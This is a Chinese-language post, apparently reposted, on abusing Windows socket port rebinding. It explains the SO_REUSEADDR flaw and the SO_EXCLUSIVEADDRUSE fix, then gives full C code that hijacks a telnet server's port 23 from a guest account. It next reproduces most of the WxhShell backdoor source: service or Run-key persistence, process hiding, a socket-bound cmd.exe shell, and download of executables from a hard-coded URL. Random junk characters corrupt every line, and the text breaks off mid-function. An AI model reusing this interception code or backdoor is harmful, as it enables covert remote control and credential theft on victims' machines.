在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
> D:(HWL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>P*wK9|( ZsjDe {TH saddr.sin_family = AF_INET;
H% c:f D&KD5_Sw saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Z~O1$,Z Aa^%_5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i^LLKx7M& 1muB*
O 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'yG9Rt fv?vO2nj 这意味着什么?意味着可以进行如下的攻击:
(9bFIvMc !9+xKr99 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k!Y7Rc{" D,Ft*(|T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5x";}Vp>P [43:E*\$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^F@z+q /DPD,bA 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
d\Q~L 3x Zi$v- b*< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$@y<.?k>UP RGrra< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
hVPSW# .d uH'n.d"WG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6J3:[7k=& U#3Y3EdF< #include
gp
Aqz Y #include
O=c^Ak #include
MH;5gC@
` #include
FOz7W DWORD WINAPI ClientThread(LPVOID lpParam);
wGfU@!m int main()
RtZK2 {
uZ}=x3B WORD wVersionRequested;
5c*kgj:x DWORD ret;
8Io--Ew3 WSADATA wsaData;
[wS~. BOOL val;
XI+m SOCKADDR_IN saddr;
WJ)( *1 SOCKADDR_IN scaddr;
cfn\De%. int err;
rv/O^aL`Y SOCKET s;
8 /3`rEW SOCKET sc;
58FjzW int caddsize;
|q&&"SpA HANDLE mt;
59eq"08 DWORD tid;
P{qi>FJqe wVersionRequested = MAKEWORD( 2, 2 );
!F3Y7R err = WSAStartup( wVersionRequested, &wsaData );
i@7b if ( err != 0 ) {
q.]>uBAQ? printf("error!WSAStartup failed!\n");
y^"[^+F3 . return -1;
1t" }
<[9{Lg*D saddr.sin_family = AF_INET;
&6*X&]V!Z M~ =Bln5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pa1.+ ~) *$uj)*5, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+k=BD s saddr.sin_port = htons(23);
rVU::C+- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wBr$3: {
y_bb//IAG printf("error!socket failed!\n");
zNe>fZ
return -1;
6wk/IJ` }
7v9l+OX,6 val = TRUE;
QH:PClW![ //SO_REUSEADDR选项就是可以实现端口重绑定的
#3!l6] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4L'dV {
q'u^v PO printf("error!setsockopt failed!\n");
o&tETJ5Bhe return -1;
laVqI|0q }
[v7)xV@c //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!?t#QDo //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
dW
hU
o\>= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
? OrRTRW zd1X(e<|{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
f=0U&~ {
H^UuT ret=GetLastError();
bB01aiUw@l printf("error!bind failed!\n");
m0I/X$-Cl5 return -1;
\4;}S&` k }
O5^!\j.WR listen(s,2);
y#%*aV}|B while(1)
?f{{{0$S {
j<+QGd% caddsize = sizeof(scaddr);
&DnX6%2 //接受连接请求
3C8cvi[IS sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
JO*}\Es if(sc!=INVALID_SOCKET)
gmG
M[c \ {
=pQ'wx|>| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
BEn,py7 if(mt==NULL)
Q
a(>$. h {
tqdw
y. printf("Thread Creat Failed!\n");
]w2nVC3 break;
4`(b(DL] }
fQZ,kl }
rGPFPsMQ] CloseHandle(mt);
ANuIPF4NxP }
1Yj ^N"= closesocket(s);
P.G`ED|K!Y WSACleanup();
,Mt/*^| return 0;
07L
>@Gf }
Qx$CoY DWORD WINAPI ClientThread(LPVOID lpParam)
@9yY`\"ed {
NkWU5E!
SOCKET ss = (SOCKET)lpParam;
XE/K|o^Hp SOCKET sc;
?!PpooYK unsigned char buf[4096];
Yxe%: SOCKADDR_IN saddr;
%bs6Uy5g)a long num;
ZbS*zKEW DWORD val;
`/WX!4eR, DWORD ret;
)?@X{AN& //如果是隐藏端口应用的话,可以在此处加一些判断
/5@4}m>Z@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@EPO\\C"f saddr.sin_family = AF_INET;
P)VysYb? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.<GU2&;! saddr.sin_port = htons(23);
sn.Xvk%75 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xx^7 {
ZM:!LkK printf("error!socket failed!\n");
Z_Tu*
F return -1;
gQXB=ywF }
0(+3w\_! val = 100;
-ti
nL(?3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tvh)N{j {
{5<3./5O ret = GetLastError();
s,KE,$5F return -1;
/uXEh61$8 }
Kwc~\k if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Tnw0S8M {
Xi^#F;@sU ret = GetLastError();
v.wHj@ return -1;
^cQTRO| }
37j-FLbW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
C_c*21X {
4dfR}C printf("error!socket connect failed!\n");
'IR2H{Q closesocket(sc);
:i;iSrKy closesocket(ss);
%XIPPEHU return -1;
;QVX'? }
<F~0D0G while(1)
^
+e5 M1U= {
5 iz(R:P< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5.1 c#rL //如果是嗅探内容的话,可以再此处进行内容分析和记录
y81B3`@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kZ8+ev= num = recv(ss,buf,4096,0);
IaDN[:SX if(num>0)
"oZ$/ap\ send(sc,buf,num,0);
/wF*@ /PTH else if(num==0)
lwY2zX&%)/ break;
t-, =sV
num = recv(sc,buf,4096,0);
U_1syaY! if(num>0)
#q[k"x=c send(ss,buf,num,0);
"YUh4uZ~P else if(num==0)
:fxG]uf-P break;
1 uKWvp0\ }
o;d>< closesocket(ss);
jHP6d = closesocket(sc);
+7HM7cw return 0 ;
O!Rw?
Y }
(5-4`:1ux 5Z2tTw'i wOhiC$E46 ==========================================================
s<}d)L( Lm-yTMNPn 下边附上一个代码,,WXhSHELL
FZUN*5` WfnBWSA2T ==========================================================
5*Wo/%#q m[k@\xS4e #include "stdafx.h"
=wd=TX/ @qszwQav$ #include <stdio.h>
9&FFp*'3 #include <string.h>
Sqt'} #include <windows.h>
4 w$f- #include <winsock2.h>
y":Y$v,P #include <winsvc.h>
x<mHTh:-V #include <urlmon.h>
`pB]_"b R~=_,JUW #pragma comment (lib, "Ws2_32.lib")
p2(U'x
c #pragma comment (lib, "urlmon.lib")
!!jitFHzb m2j&v$ #define MAX_USER 100 // 最大客户端连接数
/FP;Hsw% #define BUF_SOCK 200 // sock buffer
IW Ro$Yu #define KEY_BUFF 255 // 输入 buffer
`i'72\( SCXH{8SS #define REBOOT 0 // 重启
{
S]"-x #define SHUTDOWN 1 // 关机
tH7@oV; -F7GUB6B #define DEF_PORT 5000 // 监听端口
WAzYnl'p @Ido6Z7 #define REG_LEN 16 // 注册表键长度
BCrX>Pp}r #define SVC_LEN 80 // NT服务名长度
|U~m8e&: &}YJ"o[I // 从dll定义API
"s:eH"_s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
e@Cv')]B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
o~
v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Rh=,]Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
aGl*h"& Y?1
3_~
K // wxhshell配置信息
o$S/EZ struct WSCFG {
jbDap i< int ws_port; // 监听端口
\wyn char ws_passstr[REG_LEN]; // 口令
1;e"3x" int ws_autoins; // 安装标记, 1=yes 0=no
CG`s@5y>5 char ws_regname[REG_LEN]; // 注册表键名
__F?iRrCM char ws_svcname[REG_LEN]; // 服务名
eU[f6OGqC char ws_svcdisp[SVC_LEN]; // 服务显示名
e 58 char ws_svcdesc[SVC_LEN]; // 服务描述信息
>u6*P{;\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`oDs]90 int ws_downexe; // 下载执行标记, 1=yes 0=no
%[l*:05 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\R m2c8Z2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~v
/N G R<5GG|(B };
s,tZi6Z=%E ] bPj%sb*@ // default Wxhshell configuration
1XwW4cZ>: struct WSCFG wscfg={DEF_PORT,
zK*zT$<l "xuhuanlingzhe",
`|t X[': 1,
mnZS](> "Wxhshell",
TA
x9<' "Wxhshell",
AGH7z "WxhShell Service",
SO~]aFoYt "Wrsky Windows CmdShell Service",
Lq-Di|6q "Please Input Your Password: ",
a\UhOPFF 1,
)]\?Yyg] "
http://www.wrsky.com/wxhshell.exe",
YY&3M "Wxhshell.exe"
3@d{C^\ };
!I7bxDzK$ +PCsp'D
d // 消息定义模块
Usa char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
eHjna\ C char *msg_ws_prompt="\n\r? for help\n\r#>";
Z#2AK63/T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
W7j-siWJ char *msg_ws_ext="\n\rExit.";
-T
s8y char *msg_ws_end="\n\rQuit.";
P
57{ char *msg_ws_boot="\n\rReboot...";
N33{vx char *msg_ws_poff="\n\rShutdown...";
iva?3.t char *msg_ws_down="\n\rSave to ";
#[4Mw M3 VcLB0T7m\ char *msg_ws_err="\n\rErr!";
t
Q0vX@I<v char *msg_ws_ok="\n\rOK!";
&8l4A=l$ Mp8FYPjZ char ExeFile[MAX_PATH];
0+i\j`O& int nUser = 0;
&WqKsH$ HANDLE handles[MAX_USER];
Q%seV<!/ int OsIsNt;
nJdO~0}3 GN7\p) SERVICE_STATUS serviceStatus;
FMuakCic5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
r]C`# 2u(v hJ
F5 // 函数声明
ZL0':7 int Install(void);
I T.'`!T int Uninstall(void);
isdEs k#A. int DownloadFile(char *sURL, SOCKET wsh);
"Yk3K^`1T. int Boot(int flag);
7 Q`'1oE? void HideProc(void);
4\#!Gv- int GetOsVer(void);
|k
# ~ int Wxhshell(SOCKET wsl);
A7/
R5p void TalkWithClient(void *cs);
FY^#%0~ int CmdShell(SOCKET sock);
Kb<^Wdy4T int StartFromService(void);
f;Iaf#V_ int StartWxhshell(LPSTR lpCmdLine);
H-*"%SJ .^?^QH3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#rE#lHo VOID WINAPI NTServiceHandler( DWORD fdwControl );
l~Em2@c ]<V,5'xh // 数据结构和表定义
nA!Xb'y& SERVICE_TABLE_ENTRY DispatchTable[] =
) <lpI';T {
dHcGe{T^( {wscfg.ws_svcname, NTServiceMain},
+<^TyIJ0 {NULL, NULL}
;+) M~2 = };
4. &t c:a5pd7T // 自我安装
{29x5J int Install(void)
p6VHa$[ {
!PaDq+fB char svExeFile[MAX_PATH];
2EHeQ|# HKEY key;
oic}Go strcpy(svExeFile,ExeFile);
m4U7{sE D92#&,KD // 如果是win9x系统,修改注册表设为自启动
l c<&f if(!OsIsNt) {
?z:Xdx\l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0(uNFyIG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wU\3"!^h RegCloseKey(key);
12NV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~)RKpRga\p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3$R^tY2UU RegCloseKey(key);
" <GDOL return 0;
m[@7!.0=
}
\"E-z.wW= }
P]Hcg|& }
Dn[iA~ else {
9Q!X~L|\S oNgu-& // 如果是NT以上系统,安装为系统服务
gFsnL*L0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
WsA(8Ck< if (schSCManager!=0)
ngZkBX {
}ph;~og}y SC_HANDLE schService = CreateService
%cDTy]ILu (
nUAs:Q schSCManager,
c'9-SY1'~ wscfg.ws_svcname,
N"i'[!H% wscfg.ws_svcdisp,
@ =RH_NB SERVICE_ALL_ACCESS,
yM3]<~m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Qi_De
'@ SERVICE_AUTO_START,
G1Qc\mp SERVICE_ERROR_NORMAL,
(HHVup1f svExeFile,
-?8;-h, h NULL,
)xJo/{? NULL,
"TWNit NULL,
WSdTP$? NULL,
AT#&`Ew NULL
94=aVM\>> );
Z/z(P8#U\ if (schService!=0)
D@Zb|EI%< {
I|6wPV? CloseServiceHandle(schService);
}y-b<J?H CloseServiceHandle(schSCManager);
_&/FO{ F@m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
va(ZGGS]N strcat(svExeFile,wscfg.ws_svcname);
] M"l-A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^JDiI7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
29+p|n RegCloseKey(key);
(_}w4N# return 0;
NFc@Kz<H }
0n<t/74 }
P|"U CloseServiceHandle(schSCManager);
mUj=NRq }
EM_`` 0^ }
zh hHA9 sA3=x7j%c return 1;
^-CQ9r* }
UMg*Yv% AZmABl // 自我卸载
[:HT=LX3 int Uninstall(void)
]-o0HY2 {
zSYh\g" HKEY key;
ZMSP8(V `-l,`7e' if(!OsIsNt) {
q@;z((45 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bK)gB! RegDeleteValue(key,wscfg.ws_regname);
+4k Bd<0Y RegCloseKey(key);
y<|vcg8x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X-F|&yE~< RegDeleteValue(key,wscfg.ws_regname);
]jUxL=]r RegCloseKey(key);
&yKUf return 0;
A7~~{9 }
u S$:J:Drx }
$-dz1} }
e1e2Wk else {
wv 7jES 3>[_2}l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Z4\$h1tl if (schSCManager!=0)
v{ F/Bifo {
*"N756Cj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
)V!dmVQq{g if (schService!=0)
83*"58 {
qg;[~JZYKi if(DeleteService(schService)!=0) {
ZJotg*I CloseServiceHandle(schService);
8ODrW!o CloseServiceHandle(schSCManager);
aqTMOWyeu return 0;
EUvxil }
} k[gR I] CloseServiceHandle(schService);
qDqgU }
`>@n6>f CloseServiceHandle(schSCManager);
^L&hwXAO: }
Y4PB&pZ$O2 }
iJg3`1@j :Mss"L820 return 1;
Q3SwW }
@u./VK `I.Uw$,P // 从指定url下载文件
YuWsE4$ int DownloadFile(char *sURL, SOCKET wsh)
gAe*kf1 {
Xa._ HRESULT hr;
RlU= char seps[]= "/";
l\W[WQPh char *token;
V$Y5EX char *file;
\-mz[<ep char myURL[MAX_PATH];
U?u0|Y+ char myFILE[MAX_PATH];
Te`Z
Qqb rC>')`uk strcpy(myURL,sURL);
zWxKp;. token=strtok(myURL,seps);
u$c)B<.UR while(token!=NULL)
p]*BeiT#n% {
<~BheGmmy file=token;
jiPV ]aVN token=strtok(NULL,seps);
Y-%S,91O }
o@}+b}R} 'l$<DcBj GetCurrentDirectory(MAX_PATH,myFILE);
Ak!l}d strcat(myFILE, "\\");
A&i
strcat(myFILE, file);
Z9rs,_A send(wsh,myFILE,strlen(myFILE),0);
vb{+yEa send(wsh,"...",3,0);
_
i )Z8# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{0fQ"))" if(hr==S_OK)
n/_cJD\ return 0;
u 89u#gCAC else
'|r('CIBN/ return 1;
CqVh9M.ah T,h,)|:I^ }
]XEkQ &Y2mLPB // 系统电源模块
GI}h)T int Boot(int flag)
pPcn
F`A {
.'Vjs2 2 HANDLE hToken;
]p(jL7 TOKEN_PRIVILEGES tkp;
1]r+$L3 iY~9`Q1E if(OsIsNt) {
'vO+,- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
F{cKCqI? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9k_3=KS3N tkp.PrivilegeCount = 1;
1!. CfQi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=R)9_D6I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
T!o 4k if(flag==REBOOT) {
2RDos# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
n$ye:p>`- return 0;
\[&~.B }
>a98H4 else {
P)~PrTa% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:0Nd4hA return 0;
\M/XM6:UG4 }
vv,OBL~{ }
0(VQwGC[ else {
O&93QN0 if(flag==REBOOT) {
T`46\KkN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Zg%SE'kK return 0;
IEV3(qzt }
4.bL>Y>c else {
H".~@,-} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=V:rO;qX+@ return 0;
5Bw }
3`4g*wO }
z;UkK V|vU17Cgy return 1;
}pKHa'/\ }
5EDM?G HUurDgRi] // win9x进程隐藏模块
a3]'%kKp void HideProc(void)
}2M2R}D {
Y;>0)eP [Dp 6q~RM HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
eHG**@"X if ( hKernel != NULL )
a
1bu {
J?$4Yf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_T^ip.o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
C(C4R+U FreeLibrary(hKernel);
o
Wg5-pMWZ }
G8"L#[~ |{HtY return;
)RlaVAtM }
C\UD0r'p? mfLS</A // 获取操作系统版本
UT$G?D";M int GetOsVer(void)
tsq]QTA* {
^<xpp.eY OSVERSIONINFO winfo;
\}t(g}7T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`bO+3Y'5 GetVersionEx(&winfo);
JI5?,
)-St if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^lB'7#7 return 1;
AEm?g$a else
S|Wv1H> return 0;
j2" jCv }
nm66U4.@ <pRb#G" // 客户端句柄模块
J\XYUs int Wxhshell(SOCKET wsl)
)DuOo83n[" {
ws4a(1 SOCKET wsh;
hRSRz5 J} struct sockaddr_in client;
t#oJr2 DWORD myID;
zzy%dc 3]0ETcT while(nUser<MAX_USER)
MT BN&4[ {
?G+v#?A int nSize=sizeof(client);
9>d$a2nc wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$I!vQbi if(wsh==INVALID_SOCKET) return 1;
cEO g ~P|YAaFx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#sy)-xM if(handles[nUser]==0)
E>xdJ closesocket(wsh);
@rkNx@[~ else
LJYFz=p" nUser++;
MzsDWx;eJ }
ge?1ez2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+LV~%?W ZeF PwW return 0;
draY/ }
mYXe0E#6 Ll lyx20U // 关闭 socket
FVsVY1 void CloseIt(SOCKET wsh)
RvvK`}/6 {
Q&^ti)vB closesocket(wsh);
1Ah nUser--;
)#Ea~>v ExitThread(0);
G $:T! }
` :Am#"j]} Dms6"x2 // 客户端请求句柄
W1M<6T.{7 void TalkWithClient(void *cs)
~c,HE] B {
)P@t,mxW/ |i7|QLUT SOCKET wsh=(SOCKET)cs;
3,e^;{w char pwd[SVC_LEN];
Hn0,LH$/ char cmd[KEY_BUFF];
y^=\w?d char chr[1];
rgdDkWLXC int i,j;
QRhR.:M\ G/\t<>O8o while (nUser < MAX_USER) {
)nJs9}( 0 ~\<Fq \.x if(wscfg.ws_passstr) {
?8fa/e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v/\l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:CNWHF4$ //ZeroMemory(pwd,KEY_BUFF);
ZY +NKb_ i=0;
4 StiYfae while(i<SVC_LEN) {
|Spy |,/ DY'D]*'7$ // 设置超时
,ClGa2O fd_set FdRead;
>7B6iR6N struct timeval TimeOut;
_a"5[sG FD_ZERO(&FdRead);
:84fd\It4 FD_SET(wsh,&FdRead);
f"q='B9_T\ TimeOut.tv_sec=8;
Wd?(B4{ TimeOut.tv_usec=0;
?kX$Y{M} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
q>X#Aaib if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;S+*s 'e ]re1$W#* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)t{?7wy pwd
=chr[0]; F]@vmzr
if(chr[0]==0xd || chr[0]==0xa) { _5EM <Ux
pwd=0; W'eF
| hu
break; %fnL
} \I1+J9Gl
i++; (eS4$$g
} v1<3y~'f
M%5qx,JQY
// 如果是非法用户,关闭 socket nAG2!2_8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R2yiExw<
} (e6JI]tz{
xX*I.saK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ='a[(C&Y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e<6fe-g9;
<xOXuve
while(1) { ({i}EC7{
,<0R'R
ZeroMemory(cmd,KEY_BUFF); XT>
u/Z )
!E8y!|7$
// 自动支持客户端 telnet标准 v\PqhI y"
j=0; A}?n.MAX>
while(j<KEY_BUFF) { x>d,\{U
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zBtlkBPu
cmd[j]=chr[0]; P!3)-apP\
if(chr[0]==0xa || chr[0]==0xd) { IWERn
v!
cmd[j]=0; .(^KA{
break; _TY9!:&}q
} {DJ!T
j++; \]dx;,T
} S\b[Bq
CtJ*:wF
// 下载文件 K?o( zh;
if(strstr(cmd,"http://")) { rrbD0UzFA
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |N/Grk4
if(DownloadFile(cmd,wsh)) GM=r{F
&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); | s%--W
else X Uc(7>k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )0UVT[7
} _[u&}i
else { dU<\FW_
jcD_<WSe
switch(cmd[0]) { ~x^E kE
2kb<;Eh`G
// 帮助 k/o"E
case '?': { EKo!vieG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _b|mSo,{Y
break; #{KYsDtvx
} |fqYMhA U
// 安装
2%P{fJbwd
case 'i': { A?V}$PTlx
if(Install()) X)^eaw]Q0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E7X6Shng
else AGu#*,K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z>
Jm
break; .P(k |D&
} s)C5u;3!
// 卸载 RQxL`7H
case 'r': { /}A"F[5
if(Uninstall()) 2-=Ov@y2k!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |`vwykhezO
else 7niZ`doBA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >L[n4x\
break; kT)[<`p
} V&)Jvx}^
// 显示 wxhshell 所在路径 v6=pV4k9
case 'p': { -E{D'X
char svExeFile[MAX_PATH]; 1oU/gm$7\q
strcpy(svExeFile,"\n\r"); 0%J0.USkM7
strcat(svExeFile,ExeFile); 9/2VU<
K
send(wsh,svExeFile,strlen(svExeFile),0); AB(WK9o
break; 0x BO5[w,Y
} -#@l`kt
// 重启 Z
0&=Lw
case 'b': { EMy>X
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @'n075)h
if(Boot(REBOOT)) h|~I'M]*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jMUd,j`Opx
else { d8D0 28d
closesocket(wsh); "[h9hoN
ExitThread(0); t Sibzl~
} "y~tAg
break; R|&jvG=|
} H.ha}0J
// 关机 g{PEplk
case 'd': { M;2@<,rM
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |)~t^
if(Boot(SHUTDOWN)) eka<mq|W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V'b$P2 ?^
else { >^Rkk{cc
closesocket(wsh); 5<64 C}fE3
ExitThread(0); w{F{7X$^
} PU8>.9x
break; u%m,yPU~B
} RfoEHN
// 获取shell fh%|6k?#M
case 's': { U]Y</>xGI
CmdShell(wsh); Yzr)UJl*I
closesocket(wsh); hK]mnA[Y
ExitThread(0); %lsRj)n
break; 7:/gO~gI
} <|-da&7
// 退出 M02U,!di
case 'x': { Q Ev7k
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $'*q]]
CloseIt(wsh); B^;"<2b*
break; + /+> :
} `:b*#@
// 离开 vJ,r}$H3
case 'q': { I<+EXH%1,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lKdd3W"o
closesocket(wsh); h~EGRg
WSACleanup(); @T.+:U@S
exit(1); <n1panS
break; s5s'[<
} -v %n@8p
} px${
"K<
} S:(YZ%#
"ov270:
// 提示信息 iW%~>`tT
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i(qZ#oN
} NHaY&\
} G)8v~=Bv
T
W#s)iDi
return; { )g
$
} S(^HIJK
MCO2(E-
// shell模块句柄 Xb<>AzEM
int CmdShell(SOCKET sock) 7Is:hx|:
{ ]9$iUA%Ef
STARTUPINFO si; Lv&9s
ZeroMemory(&si,sizeof(si)); ;mT
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +)xjw9b
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *fCmZ$U:{
PROCESS_INFORMATION ProcessInfo; XCyU)[wY
char cmdline[]="cmd"; vSnGPLl
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (S~kNbIa
return 0; (b;Kl1Ql]
} zC,c9b
X$2f)3
// 自身启动模式 =u-q#<h4;
int StartFromService(void) %?hvN
{ y{KYR)
typedef struct q6PG=9d0B
{ .H@b zm
DWORD ExitStatus; Cs4ks`Z18
DWORD PebBaseAddress; ~^TH5n
DWORD AffinityMask; JIiS/]KQ
DWORD BasePriority; ({3Ap{Q}
ULONG UniqueProcessId; 1/f{1k
